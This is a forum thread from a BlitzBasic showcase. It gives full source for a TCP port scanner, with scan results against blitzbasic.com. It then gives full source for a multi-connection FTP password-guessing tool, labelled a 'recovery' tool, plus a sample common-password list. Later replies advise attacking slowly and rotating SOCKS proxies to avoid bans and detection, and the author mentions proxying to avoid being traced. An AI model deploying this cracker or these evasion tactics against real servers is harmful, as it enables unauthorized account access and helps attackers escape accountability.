TCP port scanner

Miscellaneous Forums/Blitz Showcase/TCP port scanner

Wrote a little TCP port scanner in BlitzPlus. Finds most of the common servers (FTP, HTTP, POP3, IMAP, MySQL etc) within 30 seconds.

Screenshot:


Compile this code to "port.exe" and run it, othwerwise it won't work:
Type ports
	Field port%, name$
End Type

AddPort("HTTP", 80)
AddPort("FTP", 21)

AddPort("POP3", 110)
AddPort("SMTP", 25)
AddPort("IMAP", 143)
AddPort("IRC", 194)
AddPort("Telnet", 23)
AddPort("IMAP3", 220)

AddPort("FTP data", 20)
AddPort("SFTP", 115)
AddPort("SIMAP", 993)
AddPort("SPOP", 995)
AddPort("HTTP", 8080)
AddPort("MySQL", 3306)
AddPort("ICQ", 4000)
AddPort("Yahoo messenger", 5010)
AddPort("AOL messenger", 5190)
AddPort("Napster", 6699)

AddPort("SSH", 22)
AddPort("whois", 43)
AddPort("DNS", 53)
AddPort("DHCP", 68)
AddPort("Finger", 79)
AddPort("NNTP", 119)
AddPort("NTP", 123)
AddPort("SNMP", 161)
AddPort("SSL", 443)
AddPort("SMB", 445)

; Scanner
If Len(CommandLine$()) > 2
	host$ = Mid$(CommandLine$(), 2)
	stream% = CreateUDPStream()
	
	test% = OpenTCPStream(Sector(host$, ":", 0), Sector(host$, ":", 1))
	If test% Then
		CloseTCPStream test%
		
		WriteLine stream%, Sector(host$, ":", 1)
		SendUDPMsg stream%, HostIP(CountHostIPs("")), 11111
		AddLog(host$ + " (" + PortName$(Int Sector(host$, ":", 1)) + ") Successfull!")
	EndIf
	CloseUDPStream stream%
	
	End
EndIf

; Client
AppTitle "TCP port scanner"
Print "TCP port scanner":Print ""

stream% = CreateUDPStream(11111)
timeout% = 30 * 1000

Repeat
	cmd$ = Input$("-> ")
	
	Select Lower(cmd$)
		Case "open", "o", "scan"
			server$ = Input("Host: ")
			If Len(server$) => 5
				AddLog("-------------------- " + CurrentDate() + " " + CurrentTime() + " --------------------")
				
				Print "Prepare streams..."
				For this.ports = Each ports
					ExecFile("port " + server$ + ":" + this\port)
				Next
				
				Print "Waiting responses (30 seconds)..."
				tim% = MilliSecs()
				Repeat
					from% = RecvUDPMsg(stream%)
					If from%
						avail% = ReadAvail(stream%)
						If avail% Then
							port% = Int ReadLine$(stream%)
							Print server$ + ":" + port% + " (" + PortName$(port%) + ") Successfull!"
						EndIf
					EndIf
					
					If MilliSecs() - tim > timeout%
						Exit
					EndIf
				Forever
				Print "THAT'S IT!"
			Else
				Print "Invalid host!"
			EndIf
		Case "add", "addport"
			portname$ = Input("Port name: ")
			num% = Input("Port number: ")
			If Len(portname$) > 0 And num% > 0
				AddPort(portname$, num%)
				Print "Added port " + num% + " as " + portname$ + " to scan list!"
			Else
				Print "Port not added!"
			EndIf
		Case "ports"
			For this.ports = Each ports
				Print this\port% + " is " + this\name$
			Next
		Case "help", "?"
			Print "open, scan - Scan for ports"
			Print "add, addport - Add manually a port to scan"
			Print "ports - List ports that will be scanned"
			Print "exit, close, bye, quit - Quit TCP port scanner"
		Case "exit", "close", "bye", "quit"
			End
		Default
			Print "No such command! Use 'help' or '?' for command list."
	End Select
Forever

Function AddPort(name$, port%)
	this.ports = New ports
		this\port% = port%
		this\name$ = name$
End Function

Function PortName$(port%)
	For this.ports = Each ports
		If this\port% = port% Return this\name$
	Next
	Return "User defined"
End Function

Function Sector$(txt$, separator$, sector%, toend% = False)
	Local result$ = "", occ
	For i = 1 To Len(txt$)
		If Mid$(txt$, i, 1) = separator$
			occ = occ + 1
			If toend% And occ% > sector% Then result$ = result$ + Mid$(txt$, i, 1)
		Else
			If occ => sector Then result$ = result$ + Mid$(txt$, i, 1)
		EndIf
		If Not toend% Then If occ > sector Then Exit
	Next
	Return result$
End Function

Function Sectors%(txt$, needle$)
	occ% = 0
	For i = 1 To Len(txt$) Step 1
		If Instr(txt$, needle$, i)
			occ% = occ% + 1
			i = Instr(txt$, needle$, i)
		Else
			Exit
		EndIf
	Next
	Return occ%
End Function

Function AddLog(txt$)
	; Log
	If Not FileType("log.txt") Then CloseFile WriteFile("log.txt")
	Repeat
		file% = OpenFile("log.txt")
		If file%
			SeekFile(file%, FileSize("log.txt"))
			WriteLine file%, txt$
		EndIf
	Until file%
	CloseFile file%
End Function

You need to compile it because it uses one "port.exe" for each port. One exe would take too long :)

Results for blitzbasic.com:
www.blitzbasic.com:21 (FTP) Successfull!
www.blitzbasic.com:80 (HTTP) Successfull!
www.blitzbasic.com:3306 (MySQL) Successfull!
www.blitzbasic.com:995 (SPOP) Successfull!
www.blitzbasic.com:53 (DNS) Successfull!
www.blitzbasic.com:143 (IMAP) Successfull!
www.blitzbasic.com:993 (SIMAP) Successfull!
www.blitzbasic.com:443 (SSL) Successfull!
www.blitzbasic.com:22 (SSH) Successfull!
www.blitzbasic.com:110 (POP3) Successfull!


Hey that's clever! Although BLitz can't do multithreading, you still did it using multiprocessing - or something. Nice one.

This seems exciting.

I've created also an FTP password "recovery" tool, where a file has most commonly used passwords in it:


Currently I'm workin' on a proxy TCP stream functions.

Funny, just don't try this on my server, unless you want to get in touch with a 124 grain fullmetal jacket poop thingie :P

Seriously, a more eduction-stuff sounding name would be a good idea IMHO. "Password Security Analysis" or somethin.

I'd also like to note: trying several passwords on a FTP server that you are not the owner of may be illegal in several countries, and today it's pretty easy to track a hacker down when it's a simple and direct brute force attack like this.

It's not brute-force. passwords.txt contains most commonly used passwords. Brute-force tries absolutely every possible cobination.
I know it's illegal that's why I don't share it.
About the tracking ss I said, i'm workin on multi-proxy connections :P

Its not illegal to code or use, Its only illegal when you use it on a server or service that you do not have permission for.

I think you should release the source its not like what you have is any greate secret, a quick google will produce software thats free than can do the job 100 times better.

All your doing is holding onto some code that could actually help some one in the community learn something, and that cant really ever be bad.

Just my opinion.. nice work.

Password file has all passwords in first line of the file which are separated with spaces (" ").
Connections: Each connection tries different passwors (for faster tries/s).

B+ code of FTP password recovery:
Global Progress% = False
Global server$; = Sector(TextFieldText(HostField%), ":", 0)
Global port%; = Sector(TextFieldText(HostField%), ":", 1)
Global parts%; = TextFieldText(ConnectionsField%)
Global username$; = TextFieldText(UsernameField%)
Global passfile$; = GadgetText(PasswordsField%)
Global count%, passwords$, updatetime%, lasttodo%, todo%, sent%, lastsent%
Dim connection$(1000, 4)

AppTitle "FTP password recovery"
Global MainWindow% = CreateWindow("FTP password recovery", ClientWidth(Desktop()) / 2 - 350 / 2, ClientHeight(Desktop()) / 2 - 400 / 2, 350, 400, Desktop(), 1)

CreateLabel("Host[:port]:", 5, 8, 80, 15, MainWindow%)
Global HostField% = CreateTextField(90, 5, ClientWidth(MainWindow) - 95, 20, MainWindow%)
CreateLabel("Connections:", 5, 33, 80, 15, MainWindow%)
Global ConnectionsField% = CreateTextField(90, 30, ClientWidth(MainWindow) - 95, 20, MainWindow%)
CreateLabel("Username:", 5, 58, 80, 15, MainWindow%)
Global UsernameField% = CreateTextField(90, 55, ClientWidth(MainWindow) - 95, 20, MainWindow%)
CreateLabel("Passwords:", 5, 83, 80, 15, MainWindow%)
Global PasswordsButton% = CreateButton("[empty]", 90, 80, ClientWidth(MainWindow) - 95, 20, MainWindow%)

SetGadgetText UsernameField%, "Admin"
SetGadgetText ConnectionsField%, "10"

CreateLabel("Connections:", 5, 110, 100, 15, MainWindow%)
Global ConnectionsList% = CreateListBox(5, 125, 150, ClientHeight(MainWindow%) - 160, MainWindow%)

CreateLabel("Status:", 160, 110, 100, 15, MainWindow%)
CreateLabel("Total:", 160, 125, 50, 15, MainWindow%):Global TotalLabel% = CreateLabel("---", 210, 125, ClientWidth(MainWindow) - 215, 15, MainWindow%)
CreateLabel("Done:", 160, 140, 50, 15, MainWindow%):Global DoneLabel% = CreateLabel("---", 210, 140, ClientWidth(MainWindow) - 215, 15, MainWindow%)
CreateLabel("Password:", 160, 158, 50, 15, MainWindow%):Global PasswordField% = CreateTextField(210, 155, ClientWidth(MainWindow) - 215, 20, MainWindow%)
api_SendMessage(QueryObject(PasswordField%, 1), $CF, True, 0)

CreateLabel("Server message:", 160, 180, 100, 15, MainWindow%)
Global ServerArea% = CreateTextArea(160, 195, ClientWidth(MainWindow%) - 165, ClientHeight(MainWindow%) - 230, MainWindow%)
api_SendMessage(QueryObject(ServerArea%, 1), $CF, True, 0)

Global ProgressBar% = CreateProgBar(5, ClientHeight(MainWindow) - 25, ClientWidth(MainWindow) - 70, 20, MainWindow%)
Global StartButton% = CreateButton("Start", ClientWidth(MainWindow%) - 55, ClientHeight(MainWindow%) - 25, 50, 20, MainWindow%)

Repeat
	Events()
	
	If Progress% Then FTPHack()
Forever

Function FTPHack()
	; Update stats
	tim% = MilliSecs() - updatetime%
	If tim% > 500
		lasttodo% = todo%
		todo% = 0
		For j% = 0 To parts% - 1
			If connection(i%, 2) > 0 And connection(i%, 3) > 0
				todo% = todo% + (Int(connection(j%, 3)) - Int(connection(j%, 2)))
			Else
				todo% = todo% + count% / parts%
			EndIf
		Next
		todo% = count% - todo%
		
		SetGadgetText TotalLabel%, count% + " (" + ((todo% - lasttodo%) / (Float tim% / 1000)) + " tries/s)"
		SetGadgetText DoneLabel%, todo% + " (" + (((sent% - lastsent%) / 1024.0) / (Float tim% / 1000.0)) + " KB/s)"
		UpdateProgBar ProgressBar%, Float todo% / count%
		
		updatetime% = MilliSecs()
		lastsent% = sent%
	EndIf

	For i% = 0 To parts% - 1
		If Int(connection(i%, 2)) < Int(connection(i%, 3))
			If Int(connection(i%, 1)) = 0
				ModifyGadgetItem ConnectionsList%, i%, i% + ". Connecting..."
				Events()
				connection(i%, 1) = OpenTCPStream(server$, port%)
				If connection(i%, 1)
					ModifyGadgetItem ConnectionsList%, i%, i% + ". Connected"
					SendLine(i%, "USER " + username$)
				Else
					ModifyGadgetItem ConnectionsList%, i%, i% + ". Failed to connect"
				EndIf
			Else
				If Eof(connection(i%, 1))
					ModifyGadgetItem ConnectionsList%, i%, i% + ". Connecting..."
					Events()
					connection(i%, 1) = OpenTCPStream(server$, port%)
					If connection(i%, 1)
						ModifyGadgetItem ConnectionsList%, i%, i% + ". Connected"
						SendLine(i%, "USER " + username$)
					Else
						ModifyGadgetItem ConnectionsList%, i%, i% + ". Failed to connect"
					EndIf
				EndIf
			EndIf
		
			; Scan for codes
			msg$ = ""
			code$ = ""
			If Int(connection(i%, 1))
				If ReadAvail(connection(i%, 1))
					msg$ = ReadLine$(connection(i%, 1))
					code$ = Mid$(msg$, 1, 3)
				EndIf
				
				If Not code$ = ""
					Select code$
						Case "220" ; Hello
							ServerMessage(i%, msg$)
						Case "230" ; Correct
							password$ = Sector(passwords$, " ", connection(i%, 2))
							SetGadgetText PasswordField%, password$
							;Notify "Password found for '" + username$ + "': " + password$
							ModifyGadgetItem ConnectionsList%, i%, i% + ". Logged as " + username$ + " [" + password$ + "]"
							ServerMessage(i%, msg$)
							connection(i%, 2) = 0
							connection(i%, 3) = 0
						Case "331" ; Password needed
							password$ = Sector(passwords$, " ", connection(i%, 2))
							SendLine(i%, "PASS " + password$)
							ModifyGadgetItem ConnectionsList%, i%, i% + ". Connected [" + password$ + "]"
						Case "530" ; Incorrect
							password$ = Sector(passwords$, " ", Int(connection(i%, 2)))
							
							connection(i%, 2) = Int(connection(i%, 2)) + 1
							
							SendLine(i%, "USER " + username$)
						Default
							ServerMessage(i%, msg$)
					End Select
				EndIf
			EndIf
		Else
			If connection(i%, 2) > 0 And connection(i%, 3) > 0
				ModifyGadgetItem ConnectionsList%, i%, i% + ". DONE"
				connection(i%, 2) = 0
				connection(i%, 3) = 0
			EndIf
		EndIf
	Next
End Function

Function Events(wait% = 1)
	Select WaitEvent(wait%)
		Case $401
			Select EventSource()
				Case PasswordsButton%
					file$ = RequestFile("Select your password file")
					If Not file$ = ""
						passfile$ = file$
						
						SetGadgetText PasswordsButton%, "..." + Right$(file$, 32)
						
						rf% = ReadFile(passfile$)
						If rf%
							passwords$ = ReadLine$(rf%)
							CloseFile rf%
						EndIf
						
						count% = Sectors(passwords$, " ")
						SetGadgetText TotalLabel%, count%
					EndIf
				Case ConnectionsList%
					SetTextAreaText ServerArea%, connection(SelectedGadgetItem(ConnectionsList%), 4)
				Case StartButton%
					Progress% = 1 - Progress%
					If Progress%
						
						server$ = Sector(TextFieldText(HostField%), ":", 0)
						port% = Int(Sector(TextFieldText(HostField%), ":", 1))
						If port% = 0 Then port% = 21
						parts% = Int(TextFieldText(ConnectionsField%))
						username$ = TextFieldText(UsernameField%)
						sent% = 0:lastsent% = 0
						
						ClearGadgetItems ConnectionsList%
						For i# = 0 To parts% - 1
							AddGadgetItem ConnectionsList%, Int(i#) + ". Connecting..."
						Next
						
						For i# = 0 To parts% - 1
							connection(i#, 2) = count% / parts% * i#
							connection(i#, 3) = Int(connection(i#, 2)) + count% / parts%
							connection(i#, 4) = ""
						Next
						
						DisableGadget HostField%
						DisableGadget ConnectionsField%
						DisableGadget UsernameField%
						DisableGadget PasswordsButton%
						
						SetGadgetText StartButton%, "Stop"
					Else
						; Close connections
						For i# = 0 To parts% - 1
							If connection(i#, 1) Then CloseTCPStream Int(connection(i#, 1))
							connection(i#, 1) = False
						Next
						
						EnableGadget HostField%
						EnableGadget ConnectionsField%
						EnableGadget UsernameField%
						EnableGadget PasswordsButton%
						
						SetGadgetText StartButton%, "Start"
					EndIf
			End Select
		Case $803
			FreeGadget MainWindow%
			End
	End Select
End Function

Function SendLine(index%, msg$)
	WriteLine connection(index%, 1), msg$
	sent% = sent% + Len(msg$) + 2
End Function

Function ServerMessage(index%, msg$)
	connection(index%, 4) = connection(index%, 4) + msg$ + Chr(13) + Chr(10)
End Function

Function Sector$(txt$, separator$, sector%, toend% = False)
	Local result$ = "", occ
	For i = 1 To Len(txt$)
		If Mid$(txt$, i, 1) = separator$
			occ = occ + 1
			If toend% And occ% > sector% Then result$ = result$ + Mid$(txt$, i, 1)
		Else
			If occ => sector Then result$ = result$ + Mid$(txt$, i, 1)
		EndIf
		If Not toend% Then If occ > sector Then Exit
	Next
	Return result$
End Function

Function Sectors%(txt$, needle$)
	occ% = 0
	For i = 1 To Len(txt$) Step 1
		If Instr(txt$, needle$, i)
			occ% = occ% + 1
			i = Instr(txt$, needle$, i)
		Else
			Exit
		EndIf
	Next
	Return occ%
End Function

Example of passwords file:
!@#$% !@#$%^ !@#$%^& !@#$%^&* 000000 00000000 0007 007 007007 0246 0249 1 111 1022 10sne1 111111 121212 1225 123 123123 1234 12345 123456 1234567 12345678 1234qwer 123abc 123go 1313 131313 13579 14430 1701d 1928 1951 1a2b3c 1p2o3i 1q2w3e 1qw23e 1sanjose 2112 21122112 2222 2welcome 3 369 4 4444 4runner 5 5252 54321 5555 5683 654321 666666 6969 696969 777 7777 80486 8675309 888888 88888888 90210 911 92072 99999999 @#$%^& a a12345 a1b2c3 a1b2c3d4 aaa aaaaaa aaron abby abc abc123 abcd abcd1234 abcde abcdef abcdefg abigail about absolut academia access action active acura adam adams adg adidas admin administrator adrian advil aeh aerobics after again aggies aikman airhead airplane alan alaska albany albatross albert alex alex1 alexande alexander alexandr alexis alfred algebra aliases alice alicia aliens alison all allen allison allo alpha alpha1


Yavin - I didn't mean this is evil software or something. Thought someone has to mention, that if somebody is trying this on a server (where he has no permission) without to think much about it, this could surprisingly result in a legal case and cost a couple of thousand $.

@Jfk, yeah. I understand, just felt that he should release the source cos I got the impression he felt the source was bad, source does not hurt servers, people hurt servers...

Not sure if that analogy works but you get the idea.

Anyway I tested this out on a few friendly servers, two of which we well configured and the door was closed on my IP after only the 3rd failed attempt, the third was deliberately miss configured, and the app gained access after only 25 minutes.

We also noticed that with a slower attack rate, the app causes less of a digital finger print which in a lot of cases is actually a good thing, slower is better when you don't want to be noticed.

This is a lot like My Stumbler, you can try the same thing you have a good handle on the code in Max, what I did was setup an edit box to hold, names, one for passwords, and I then setup a 3rd for Proxy IP's socks 4 and 5.

My app then tried 2 passwords and then randomly grabbed a new proxy IP and tried another 2, this is normally enough to freak out the server and you should get banned, it needs to be done slow tho so the cracking time goes down, and you do create a much bigger footprint due to lots and lots of connections from multipull IP's however, if your writing this to test your own FTP server which I am assuming you are ;) - then you should give it a try.